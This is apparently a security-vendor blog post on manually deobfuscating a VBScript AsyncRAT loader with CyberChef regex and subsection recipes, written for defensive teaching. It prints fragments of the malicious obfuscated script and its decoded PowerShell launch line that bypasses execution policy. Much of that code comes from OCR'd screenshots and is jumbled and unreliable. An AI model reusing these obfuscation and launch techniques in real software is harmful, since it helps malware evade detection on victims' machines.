Advanced CyberChef Tips: AsyncRAT Loader

huntress.com/blog/advanced-cyberchef-tips-asyncrat-loader

The Huntress ThreatOps team encountered and investigated an infection involving a malicious malware loader on a Huntress-protected host. This investigation was initiated via persistence monitoring, which triggered on a suspicious visual basic (.vbs) script persisting via a scheduled task.

The script was highly obfuscated and required manual analysis and decoding to investigate. Today we'll demonstrate our methods and thought process for manually decoding the malware.

We'll primarily be using CyberChef, alongside RegExper for validating regular expressions.

Footholds
Foothold 1 -
Name: UPFCRQ0FGHVNBVUABXGFIW
Task File: C:\WINDOWS\System32\Tasks\UPFCRQOFGHVNBVUABXGFIW
Command: C:\ProgramData\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.vbs
Username: Second Second
<pre>File Path: c:\programdata\upfcrqofghvnbvuabxgfiw\upfcrqofghvnbvuabxgfiw.vbs</pre>
<pre>VirusTotal Detections: Not Found - https://www.virustotal.com/#/file</pre>
/07e25cb7d427ac047f53b3badceacf6fc5fb395612ded5d3566a09800499cd7d

If you would like to follow along, <u>here is a link to the malware sample.</u> (If you do choose to follow along, make sure you do so inside of a safe virtual machine and not on your host computer)

Let's Get Started

The initial investigation was for a persistent .vbs file residing inside of a user's startup directory. There are few legitimate reasons for a .vbs file to be persistent, so we immediately obtained the file for further analysis and investigation.

Given that .vbs is text-based, we transferred the file into an analysis Virtual Machine and opened it using a text editor. Upon realizing the script was obfuscated, we transferred the contents into CyberChef.

Analysing the File

The obfuscated contents of the script can be seen below.

Recipe		a 🖿 i	Input	+		€		
			UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69) "&chr(45)&""&chr(15)&""&chr(15)&"" Byp"+"%chr(97)&""&chr(15)&""&chr(115)&" "%chr(45)&""&chr(111)&""&chr(109)&""*"&chr(109)&""&chr(111)&""+"icy Byp"+"%chr(111)&""&chr(109)&""*"&chr(109)&""&chr(100)&" C:\Pr"&chr(111)&""+"gr"&chr(109)&""*"&chr(109)&""&chr(97)&""&chr(110)&"d C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&""*"&chr(97)&""&chr(97)&""&chr(97)&""&" KAYW0XZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80 chr(50)&""), "IEGKBVVFEPKFBDSLDYDUP",""&chr(83)&"") XFG0ESLXRCJJCRHXBZBPTS = Replace(StrReverse("ADRFYUSLDSYWHXKAVVUBTG"&chr(78)&""),"GTBUVVAKXHWYSDLSUYFROA",""&chr(5') UEWKCHFKL&Replace(StrReverse("*Chr(82)&"atCITRNIDHPBVHVENTTKXP0"),"0PXKTTNEVHVBHPDINRT. WGX00RXASAPQVFKSUBONCP= Replace(StrReverse("%SGAKLHXXQRQQPAUNUPZvmi"),"ZPUNUAPQQRQXXHLKAGKSFJ",""&chr(50)&"") UYPNHFVADWURHNHZPINPTA = Replace(StrReverse("c\%chr(84)&"ZJVAUVTTKFKKTNDVGTQRAIZJVAUVTTKFKKTNDVGTQRAI"),"IARQTGVDU hr(79)&"")&WGX00RXASAPQVFKSUEONCP&Replace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSGNUCU chr(51)&"") EXUV0YHXQTCD0QR0FYCNEI = Replace(StrReverse("r:"&chr(83)&"VKLPW0TKLXHQANTSGUNB0P"&chr(77)&""),"POBNUGSTNAQHXLKTOWPI me 4470 = 21	/UAE)&"_)&"_ (C", , , , , , , , , , , , , , , , , , ,	XGFI ''& '''\& '''\&c KFKTT UWJC ', '''\& Tr 1	W AYWW hr(8: YHZEI chr(1 Raw By) XZXN 3) &'''' 7 Z'', '' 7 Z'', '' 9 Z'', ''' 9 A) &''' tes ←	UAS) "%cc ""& ""& LF
			Output		8	ē	(†)	::
			<pre>UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69) "&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(111)&""Pr"&chr(111)&""+"fil"&chr(69) "&chr(45)&""&chr(15)&""&chr(15)&" "&chr(45)&"C"&chr(111)&""&chr(109)&""&chr(109)&""&chr(97)&""&chr(111)&" "&chr(45)&"C"&chr(111)&""+"gr"&chr(199)&""&chr(109)&""&chr(97)&""&chr(110)&" (C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&""&chr(97)&""&chr(97)&""&chr(97)&""&Chr(97)&Chr(97)&""&Chr(97)&""&Chr(97)&Chr(97</pre>	√UAE)&"_ (0&"_ (0,00) (0,0) (0,0) (0,0) (0,0) (0,0) (0,0) (0,0) (0,0) (0,0) (0,0) (0,0) (0	:XGFI _''& ''')&K ''''&C	W AYWW hr(8:	0XZXN 3)&''''	UAS)
STEP	BAKE!	✓ Auto Bake	<pre>Replace(StrReverse("c\"&chr(84)&"ZJVAUVTTKFKKTNDVGTQRAIZJVAUVTTKFKKTNDVGTQRAI"),"IARQTGVDI hr(79)&"")&WGX00RXASAPQVFKSUE0NCP&Replace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSGNUCU me 4470 = 21</pre>	ITKK SSGY 3ms	(FKTT UWJC	VUAV. YHZEI Raw By	JZ"," PRC",	"&c ""&

We simplified the script using a syntax highlighter set to "vbscript".

Syntax highlighting is a simple and effective means to improve the readability of an obfuscated script, prior to doing any form of manipulation or analysis.

Tip: Leaving the language as "auto-detect" will work, but we have found that highlighting is significantly quicker if specified manually. This also solves the occasional issue where Cyberchef incorrectly identifies the language of an obfuscated script.



Obfuscation 1: Decimal Encoded Values

Delving into the first few lines of output, there are numerous numerical values scattered around. Each numerical value is contained within a "<u>chr</u>" function.

<u>A quick Google</u> reveals that "chr" is a built-in visual basic function that converts decimal values into their plaintext/ascii representation.

You can find a reference to the chr function <u>here</u> and <u>here</u>. You can also find a full list of decimal values and their ASCII equivalents <u>here</u>.

Here are the "chr" obfuscated values in their original obfuscated form.



These numerical values can be crudely decoded using CyberChef, by manually copying out each value and applying "From Decimal".

2 🖿 🗊	Input +
⊘ 11	45 110 111 111 69 45 69 69 111 110 111 97 115 115
Support signed values	
	Rec 49 = 1
	Output
	-nooE-EEonoass
	Support signed values

Manually copying the values is simple and will work most of the time, but it is timeconsuming for a large script and requires an analyst to manually copy the results back into the original script.

We'll now show how to automate this process using CyberChef.

Obfuscation 1: Automating the From Decimal Using CyberChef

To automate the decimal decoding, the ThreatOps team utilized some regex and advanced CyberChef tactics.

At a high level, this consisted of:

- Developing a regex that would find decimal encoded values (locate the encoded data)
- Converting this regex into a subsection (this tells CyberChef to act ONLY on the encoded data)
- Extracting decimal values (Remove the "chr" and any surrounding data)
- Decoding the results (Perform the "From Decimal" decoding)
- Removing surrounding junk (Cleaning up any remaining junk)
- Restoring the script back to "normal"

So let's see that in action.

We first implemented a <u>regex</u> pattern to automatically highlight and extract "chr" encoded values from the original script.

As a means of testing our initial regex, we utilized the "Regular Expression" and "Highlight Matches" option in CyberChef.

This allowed the effectiveness of our regex to be observed in real-time. If anything didn't match as intended, we could easily adjust the Regex and the highlighting would update accordingly.



The "Highlight Matches" provides similar functionality to the popular regex testing site regex101.



A visual representation of the regex can be seen here - courtesy of regexper.com.

(Regexper.com is an excellent site for visually learning and testing regex)



The regex successfully matched the "chr" and encoded numerical values, so we then converted it into a "subsection".

A subsection takes a regex as input, and forces all future operations to match only on values that match the regex.

The process of "converting to a subsection", is just copy-and-pasting the regex from "Regular Expression" to "Subsection".

What is a subsection?

A TLDR: A subsection is a feature of CyberChef that forces all future operations to apply only to values that match a provided regex. (Eg the highlighted values from previous screenshots)

A subsection is an effective way to "hone in" on particular content or values, allowing bulk operations without mangling the entire script.

This was useful to avoid accidentally decoding numerical values which are unrelated to the "chr" functions and encoding.

To hone in on our values, we replaced our previous regex with a subsection. (Making sure to keep the regex the same)

Recipe		Input	+ 🗅 🗩 📋	
Subsection Section (regex) Chr\(\d+\)	Case sensitive matching	UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil" "&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(110)&"Pr"&chr(111)&"L"+" Byp"+""&chr(97)&""&chr(115)&""&chr(115)&" "&chr(45)&"C"&chr(111)&""&chr(109)&"+""&chr(109)&""&chr(97)&""&chr(110)&"d (c) & pr"&chr(111)&""&chr(109)&""&chr(109)&""&chr(07)&""&chr(100)&"d (c) & pr"&chr(111)&""&chr(100)&""&chr(100)&""&chr(07)&""&chr(100)&"d	&chr(69)&" 'icy	,
Global matching	Ignore errors	<pre>UVPFCRQOFGHIVB/URASE/FILe "Schn('97)& "a (OFFCR UVPFCRQOFGHIVB/URASE/FILe "Schr('97)& "a KAYWW0XZXWLASUEWKCHFKL =Replace(StrReverse(""Schr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor" chr('50)&""), "IEGKBYVVFEPXFBDSLDYDUP",""Schr(83)&"") XFG0E5LKRCJJCRHXBZBPTS =</pre>	&chr(80)&"_"&	
		Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""),"GTBUVVAKXHWYSDLSUYFROA"," XZXNUASUEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO"),"OPXKTT &chr(83)&"") WGXOORXASAPQVFKSUEONCP= Renlace(StrReverse("W+1FSKG&KIHXXORONPAINNIP7vmi"),"ZPUNNIAPOOROXXHIK&GKSF1",""&chr(### 4470 = 21	۳۵ אלגערייי)&KA NEVHVBHPHDINRTIC 50)&۳۲ Raw Bytes ♦	YWWO
		Output	B 🗍 🖬	0
		<pre>UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil" "&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(111)&"Pr"&chr(111)&""+" Byp"+"&chr(97)&""&chr(115)&""&chr(115)&"" "&chr(45)&"C"&chr(111)&""&chr(115)&""&chr(109)&""&chr(97)&""&chr(110)&"d (C:\Pr"&chr(111)&""+"gr"&chr(197)&""&chr(109)&""+""&chr(97)&""&chr(97)&""&chr(110)&"d (C:\Pr"&chr(111)&""+"gr"&chr(197)&""&chr(109)&""+""&chr(97)&""&chr(97)&""&chr(97)&""&chr(110)&""&Chr(100)&""&chr(100)&""&chr(100)&""&chr(100)&""&chr(100)&""&chr(100)&""&chr(100)&""&chr(100)&""&chr(97)</pre>	&chr(69)&" 'icy WOFGHVNBVUABXGFIW '&chr(80)&"_"& ''&chr(51)&"")&KAY NEVHVBHPHDINRTIC'	IYWWO

At first glance this isn't exciting - but the true power arrives when the recipe is expanded.

For example, the "chr" can now be easily removed, leaving only the brackets () and decimal values.

By applying the subsection before the find/replace, we can use the "chr" as a marker to hone in on specific values.

We could skip the subsection and go straight to find/replace, but this may result in accidentally acting on other numerical values that are unrelated to our current decoding.

Recipe	2 🖿 🕯	Input + 🗅 🗃 🗃
Subsection	0 11	UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69)&" "&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(111)&"P"&chr(111)&"\"+"icy
Section (regex) chr\(\d+\)	Case sensitive matching	Byp"+""&chr(17)&""&chr(115)&""&chr(115)&" "&chr(45)&"C"&chr(111)&""&chr(109)&"+""&chr(109)&""&chr(97)&""&chr(110)&"d c.\pr"&chr(111)&"", artschr(20)&W"&chr(120)&""&chr(97)&""&chr(27)&""&chr(110)&"d
Global matching	Ignore errors	<pre>Circlacin(1)/2 + gi acin(1)/2 + gi acin(1)/2 + ac</pre>
Find / Replace	⊘ 11	Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""),"GTBUVVAKXHWYSDLSUYFROA",""&chr(51)&"")&KAYWWO XZXNUASUEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO"),"OPXKTTNEVHVBHPHDINRTIC",""
Find REGEX -	Replace	Schr (83)S"") WGX00RXASAPQVFKSUE0NCP= Banland (Stepsynorgy ("Wy IESKGAKI HYVDD00DAINUID7;mill) "ZDINUIAD00D0YYNI KAGKSET!" ""Schr (50)S"")
	_	we 4470 = 21 Tr Raw Bytes ↔ LF
Global match 🗌 Case inse	ensitive 🗹 Multiline matching	Output
Dot matches all		UVXVCAEWLJCGGPDCUNGVGU = ""&(45)&""&(110)&""&(111)&"Pr"&(111)&""+"fil"&(69)&" "&(45)&""&(69)&"**& (69)&"c"+"uti"&(111)&""&(110)&"P"&(111)&"l"+"icy Byp"+""&(97)&""&(115)&""&(15)&" "&(45)&"C"&(111)&""* (109)&""+""&(109)&""&(97)&""&(110)&"d C:\Pr"&(111)&""+"gr"&(97)&""&(109)&"D"+""&(97)&"t"&(97)&""&"
		<pre>\UPFCRQ0FGHVMBVUABXGFIM\UPFCRQ0FGHVMBVUABXGFIM.b"&(97)&"t" KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&(80)&"_"& (50)&""),"IEGKBYVVFEPXFBDSLDVDPUP,""&(63)&"") XFG0ESLXRCJJCRHXBZBPTS = Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"& (78)&""),"GTBUVVAKXHWYSDLSUYFROA",""&(51)&"")&KAYHWMOXZXNUASUEWKCHFKL&Replace(StrReverse(""& (82)&"atCITRNIDHPHBVHVENTTKXPO"),"OPXKTTNEVHVBHPHDINRTIC",""&(83)&"") WGXO0RXASAPQVFKSUEONCP= Replace(StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi"),"ZPUNUAPQQRQXXHLKAGKSFJ",""& (59)&"")</pre>

A second regex can now be applied, this will extract only the numerical values our previous regex.

In the below screenshot - note how "chr(45)" becomes "45" and "chr(110)" becomes "110" and so on.

Recipe	2 🖬 🗊	Input + 🗅 🔁 🛢 🗰
Subsection	⊗ II	UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69)&" "&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(111)&""&chr(111)&""+"icy
Section (regex) chr\(\d+\)	Case sensitive matching	Byp"+""&chr(19)&""&chr(115)&""&chr(115)&" "&chr(45)&"C"&chr(111)&""&chr(109)&"+""&chr(109)&""&chr(97)&""&chr(110)&"d C:\Pr"&chr(111)&""=arr%chr(97)&""&chr(109)&""="&chr(97)&"+"&chr(97)&""&chr(97)&""&
✓ Global matching	Ignore errors	<pre>\UPFCROOFGHVMBVUABXGFIW.b"&chr(37)&"t" KAYWW0XZXWUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"& chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"") XFG0F5LXRCJJCRHXBZBFTS =</pre>
Regular expression	© 11	Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""),"GTBUVVAKXHWYSDLSUYFROA",""&chr(51)&"")&KAYWWU XZXNUASUEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO"),"OPXKTTNEVHVBHPHDINRTIC","
Built in regexes User defined		&chr(83)&"") WGXOORXASAPQVFKSUEONCP=
Regex		Renlare(StrReverse("W•1FSKG&KIHXX0R00PAINIIP7vmi") "7PINIIAP00R0XXHIK&GKSF1" ""&chr(50)&"") mee 4470 ╤ 21 Tr Raw Bytes ← Li
\d+		Output
Case insensitive	A and \$ match at newlines	UVXVCAEWLJCGGPDCUNGVGU = ""&45&""&110&""&111&"Pr"&111&""+"fil"&69&" "&45&""&69&""&59&""&10&""&11&""&11&"Pr"&11&""+"icy Byp"+"&597&""&115&""&115&" "&45&"C"&111&""&109&""+"&109&""&110&"C"&10&"" \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.b"&97&"t" \UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.b"&97&"t" KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&83&"PUDVDLSDBFXPEFVVYBKGEIecor"&80&"_"&
Dot matches all	Unicode support Astral support	50&""),"IEGKBYVVFEPXFBDSLDYDUP",""&83&"") XFGOESLXRCJJCRHXBZBPTS =
Display total	Output format List matches	Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&786""),"GTBUVVAKXHWYSDLSUYFROA",""&516"")&KAYWWOXZXNUASUEV KCHFKL&Replace(StrReverse(""&82&"atCITRNIDHPHBVHVENTTKXPO"),"OPXKTTNEVHVBHPHDINRTIC",""&83&"") WOXOORXASAPQVFKSUEONCP= Dealeae(Generaceae(Wei)zECKKUYXOPOONANUU7:=;"),"JTDNNUADOODOXYUUKACKCE31, UKEBCUU)
		<pre>keptace(streverset w:JFSNGARLHXAQRQUPAUNUP2vml"),"2PUNUAPQQRQXAHLKAGKSFJ",""&58&"") UYPNHFVADWURHNHZPINPTA = Reptace(StrReverse("C\"&84&"ZJVAUVTTKFKKTNDVGTQRAIZJVAUVTTKFKKTNDVGTQRAI"),"IARQTGVDNTKKFKTTVUAVJZ"," &79&"")&WGX00RXASAPQVFKSUEONCP&Reptace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSGNUCUGSGYUWJCYHZEPRC' ,""&51&"")</pre>

Honing in on those results, we can see that the "chr" and "()" have been removed. This leaves only the integers/numerical values, as well as the "& used for string concatenation. (We'll deal with these later.)



A "from decimal" can then be added, which will convert those numerical values back into ASCII.

Recipe		Input + 🗅 🗃 🗃
Subsection	© 11	UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69)&" "&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&"\"+"icy
Section (regex) chr\(\d+\)	Case sensitive matching	Byp"+""&chr(97)&""&chr(115)&""&chr(115)&" "&chr(45)&"C"&chr(111)&""&chr(109)&"+""&chr(109)&""&chr(97)&""&chr(110)&"d c.\pr"&chr(111)&""&chr(12)&"&chr(120)&""=chr(120)&""&chr(97)&""&chr(97)&""&chr(97)&""
✓ Global matching	Ignore errors	<pre>Circle Circle Circ</pre>
Regular expression	© 11	Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""),"GTBUVVAKXHWYSDLSUYFROA",""&chr(51)&"")&KAYWWO XZXNUASUEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO"),"OPXKTTNEVHVBHPHDINRTIC",""
Built in regexes User defined		Schr(83)S"") WGX00RXASAPQVFKSUE0NCP= Benlare(StrBeverse("W-1ESKGAKIHYY0000PalmUP7vmi") "70Imula00000XYHIKAGKSE1" ""Schr(50)S"")
Regex		mee 4470 = 21 Tr Raw Bytes ↔ LF
\d+		Output
Case insensitive	A and \$ match at newlines	UVXVCAEWLJCGGPDCUNGVGU = ""&-&""&n&""&o&"Pr"&o&""+"fil"&E&" "&-&""&E&"x"&E&"c"+"util"&o&""&n&"P"&o&""'+"icy Byp"+""&a&""&s&""&s&"" "&-&"c"&o&""&m&""+""&m&""&a&""&m&""&a&""&a&""&a&"
Dot matches all	Unicode support Astral support	2&""), "IEGKBYVVFEPXFBDSLDYDUP", ""&S&"") XFGOESLXRCJJCRHXBZBPTS =
Display total	Output format List matches	Replace(StrReverse("AORFVUSLDSYWHXKAVVUBTG"AN&""), "GTBUVVAKXHWYSDLSUYFROA", ""&3&"")AKAYWWOXZXNUASUEWKC HFKL&Replace(StrReverse("&R&"atCITRNIDHPHBVHVENTTKXPO"), "OPXKTTNEVHVBHPHDINRTIC", ""&S&"") WGXO0RXASAPQVFKSUEONCP=
From Decimal	0 11	Replace(StrReverse("W:JFSKGAKLHXXQRQ0PAUNUPZvmi"),"ZPUNUAPQQRQXXHLKAGKSFJ",""&2&"") UYPNHFVADWURNHXPINPTA = Replace(StrReverse("C:"&%T&ZJVAUVTTKFKKTNDVGT0RAIZJVAUVTTKFKKTNDVGT0RAI"),"IAR0TGVDNTKKFKTTVUAVJZ",""&
Delimiter Space	Support signed values	<pre>O&"")&WGX00RXASAPQVFKSUE0NCP&Replace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSGNUCUGSGYUWJCYHZEPRC"," "&3&"") EXUV0YHXQTCDOGNOFYCNEI =</pre>

Close up, it's still a bit messy, but we'll deal with that in a moment.

For now, we can observe that the "chr" operations have been replaced with their ASCII equivalents. (Although the The String concatenations make this hard to read)



In order to clean up for good, we needed to do two things.

First, we would need to undo our subsection. This would allow us to remove the "&" operations that were not included in our initial regex.

This can be done with a "merge" operation. (Essentially an "Undo" button for subsections)

We then utilised a Find/Replace to remove the quote "" and "&" junk.

The recipe then looked like this. The most complex piece is the `&?"&?\+?` regex.

This looks for any quotes that are preceded or followed by a & character. The (?) specifies that the "&" is optional.

Regular expression 🚫 II Built in regexes Regex	<pre>place(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKX00"),"0PXKTTNEVHVBHPHDINRTIC",""&chr(83)&"") WGX00RXASAPQVFKSUE0NCP= Replace(StrReverse("W:JFSKGAKLHXXQRQ0PALNUPZvml"),"ZPUNUAPQQRQXXHLKAGKSFJ",""&chr(50)&"") UYNWHrVANRURNHZZINFTA =</pre>
User defined \d+	Replace(StrReverse("c\"&chr(84)&"ZJVAUVTTKFKKTNDVGTORAIZJVAUVTTKFKKTNDVGTORAI"),"IAROTGVDNTKKFKTTVUAVJZ",""&chr(79)&"")&W GXOORXASAPQYFKSUEONCP&Replace(StrReverse("CRPEZHYCJWUYGSGUCUNGSBni"),"BSGNUCUGSGYUWJCYHZEPRC",""&chr(51)&"") EXUVYYHXGTCDGQNOFYCHI =
Case insensitive A and \$ match at newlines Dot matches all	Replace(StrReverse("r:"&chr(83)&"VKLPWOTKLXHQANTSGUNBOP"&chr(77)&""),"POBNUGSTNADHXLKTOWPLKV",""&chr(84)&"")&UYPNHFVADWUR HNHZPINPTASReplace(StrReverse("corP_JGJCDGUNYOWFEZBSDISPOU"),"UOPSIDSBZEFWOYWUGDCJGJ",""&chr(50)&"") # 4470 g 21 Tr Raw Bytes ++ LF
Unicode support Astral support Display total List matches	Output Dutput
From Decimal	<pre>UVXYCAEWLJCGGPDCUNKVCU = -noProfilE -ExEcutionPolicy Bypass -Command C:\ProgramData\UPFCRQ0FGHWBVUABXGFIW \UPFCRQ0FGHWBVUABXGFIK. atc KAYMMXZXMUASUEMXCHFKL =Mcplace(StrReverse(SPUDYDLSDBFXPEFVVYBKGEIecorP_2),IEGKBYVVFEPXFBDSLDYDUP,S) YEGGESIQC71DEWBX2PBTF =</pre>
Delimiter Space Support signed values	Replace(StrReverse(ARRFVUSLDSYMHXKAVVUBTGN), GTBUVVAKXHWYSDLSUYFROA,3)&KAYHWOXZXWUASUUHKCHFKL&Replace(StrReverse(RatCITRNI DHPHBWHVENTTKXPD),0PXKTTNEWHUBHPDINRTIC,5) HVYYDDYXLGDUFGUEGUEGUEGUEGUEGUEGUEGUEGUEGUEGUEGUEGUEG
Merge 🚫 II	<pre>mountAcdsrqurAsternerse(ref2) = Replace(streverse(rs)rskakaLnkAkququrAumur2vml), zrunuarqunuAAtLkuksr), z) UYNMHrVAWMIRNNIZENTA = Replace(streverse(c\T2)VAUVTTKFKKTNDVGTQRAIZJVAUVTTKFKKTNDVGTQRAI), IARQTGVDNTKKFKTTVUAVJZ,0)&WGX00RXASAPQVFKSUEONCP&Repl ace(streverse(cNPEZNYCJNUYGSGUCUNCSBni),BSGNUCUGSGYUWJCYHZEPRC,3) EXUVDYHSTCD0RGNEYCHT =</pre>
- morige / m	Replace(StrReverse(r:SVKLPWOTKLXHQANTSGUNBOPM),POBNUGSTNAQHXLKTOWPLKV,T)6UYPNHFVADWURHNHZPINPTA6Replace(StrReverse(corP_J GJCDGUWYOWFEZBSDISPOU),UOPSIDSBZEFWOYWUGDCJGJ,2)
Find / Replace 🛇 II	ZZWJTKAWNKYJEHAFUDTCWW=Replace(StrReverse(iVBWJQIGGGEKPAQQLPZKDHUlev),UHDKZPLQQAPKEGGGIQJWBV,=) UVFBXQSZHYDXQKCCQWWNYL=Replace(StrReverse(NVEAJOVCQXEAOBHAKWRYEZVi),VZEYRWKAHBOAEXQCVOJAEV,0)
Find &?"&?\+? REGEX ~ Replace Slobal match	<pre>KCKLFNNTZYUAJTCUDAPTVQ=Replace(StrReverse(KYIGPUHOVDOHHQCPQDKRCDgKYIGPUHOVDOHHQCPQDKRCDN),DCRKDQPCQHHODVOHUPGIYK,M) XIJUZPDEZWXXLZKPLKSPLL=Replace(StrReverse(SZBSOKPDEUENXTHREKHZJORep),ROJZHKERHTXNEUEDPKOSBZ,r) GINDOZLOGNKTOVOGHDKT =</pre>
Case insensitive Multiline matching Dot matches all	Replace(StrReverse(TONCABJWZSYSKTRWD)ETAT),TATEJOWRTXSYSZNVJBACNO,a)&UVFBXQ5ZHYDXQKCCQWMYL&Replace(StrReverse(KGJJBJBEJV PHGGZWW0YFOSL),SOPYOMNZGOHPVJEBJRJGK,e)&ZZWJTKAWNKYJEHAFUDTCWW&Replace(StrReverse(LITRKBUSUZYFPVFHZVPRSJM),JSRPVZHFVPFY ZUSUBKRTLL,P)
Syntax highlighter 🛇 11	BDAEZIOSPHGLAYIEPCSKKZ=Replace(StrReverse(anNQLWZBLGATPHJBENFKEXDH5),HDXEKFNEB)HPTAGLBZWLQN,0) INAUKKYCZNPDIVMEQVFN=Replace(StrReverse(miTOWRKVLJYXXMBLMKOOGVI\to),IVGODKMEMDXYJILVKRWCT,c)
Language Vbscript	CFKSWETDBQSRP2FMXUVTDX=Replace(strReverse(rAQFWMFABXC0YGWYFKLUSYLW),LYSULKPYWGYGCXBAFWWFGA,e) LOCNYJVFLHRIEEXZNOQYXB =Replace(strReverse(e.QODUWPFSVUWVWCQNCAKKNJQODUWPFSVUWVWCQNCAKKNJ),JNKKACNQCWVWUVSFPWUDQQ,l) Set STBRIKUASKOWTRXWVSAGGR =
	Getöbject(Replace(StrReverse(iRAQUJABXASDLSREXTOVLLQ),QLLVOTXERSLDSAXBAJUQAR,w)&KCKLFNNTZYUAJTCUDAPTVQ&Replace(StrReverse (YBZTXHXQQBJLOPNDNNQHZLst),LZHQNNDNPOLJBQQXHXTZBY,:)& Replace(StrReverse(MWITLXRODQVUILAOLXBYFP()),OFVBXLOALIIVQD0ORXLTIW,i)&XIJUZPDEZWXXLZKPLSXPLL&Replace(StrRever BRYMXXAVMPZ7VID.LIVZ7XWNXXBYTRBZFVFFVR.n)&CHMDAJ GOHKKTVUYGHKT&Replace(StrReverse(DKWJJIWRNDGRADPDT)PDWTe).TWDPTTPPUAR

A visual representation of the regex, courtesy of regexper.com.

&?"&?\+?	
Display	<u> → Download SVG</u> // <u> → Download PNG</u> // <u> → Permalink</u>

We then had a nice decoded value and no remaining "chr" operations in our script.



If you're confident with your regex, you could incorporate the previous two into one.

This ultimately leaves something like this. Which is conceptually the same, but slightly cleaner than the original recipe we had before, at the cost of a slightly more complex regex.

Recipe			2 🖿 î	Input + D E	î =
Subsection Section (regex) "?&?chr\(\d+\)	&?"? Case sen:	sitive matching 🔽	○ II Global matching	UVXVCAEWLJCGGPDCUNGVGU = ""6chr(45)6'"6chr(110)6'"6chr(111)6'"r6chr(111)6'"+11'16''6chr(69)6'' "6chr(45)6'"8chr(69)6'x"6chr(69)8'r2+'ut1'*6chr(111)6'''6chr(111)6'''76chr(111)6'''+1cy Byp*-"8chr(111)6''''6chr(97)6'''6chr(97)6'''6chr(13)6'''6chr(45)8'''6chr(13)6'''6chr(130)8'''5chr(190)8'''6chr(97)6'''6chr(110) C:\Pr#Schr(111)6''''6chr(97)6'''6chr(93)8''D'+'''6chr(97)6'''6chr(97)6'''6chr(97)6'''6chr(100)8'''6chr(97)6''' VUPFCR00FGNWBUNABSCHFN.b'*6chr(97)7''' VAVMOXZDNUASUEWKCHFKL =Replace(5trReverse('''6chr(83)6''DUDYDLSDBFXPEFVVYBKGEIecor''6chr(80)6''_''6 chr(50)6'''), ''IEGKBYVFEPXFB05LDYDUP', '''6chr(83)6''') XFG055LXRCJJCRWZEPTS =	I)&"d
Regular expression			⊘ 11	Replace(StrReverse("AORFVUSLDSYMHXKAVVUBTG"schr(78)&"),"GTBUVVAKXHMYSDLSUVFRQM""schr(51)&"")&KAYIW0XZXNUASUEWK place(StrReverse("%chr(82)&"atCITRNIDHPHBVHVENTTKXP0"),"OPXKTTNEVHVBHPHDINRTIC","%chr(83)&"") MCXOORXASAPQVFKSUEONCP=Replace(StrReverse("%)JFSKGAKLHXXQRQPAUNUPZymi"),"ZPUNUAPQQQQXXHLKAGKSFJ","%chr(50)&"")	CHFKL&R
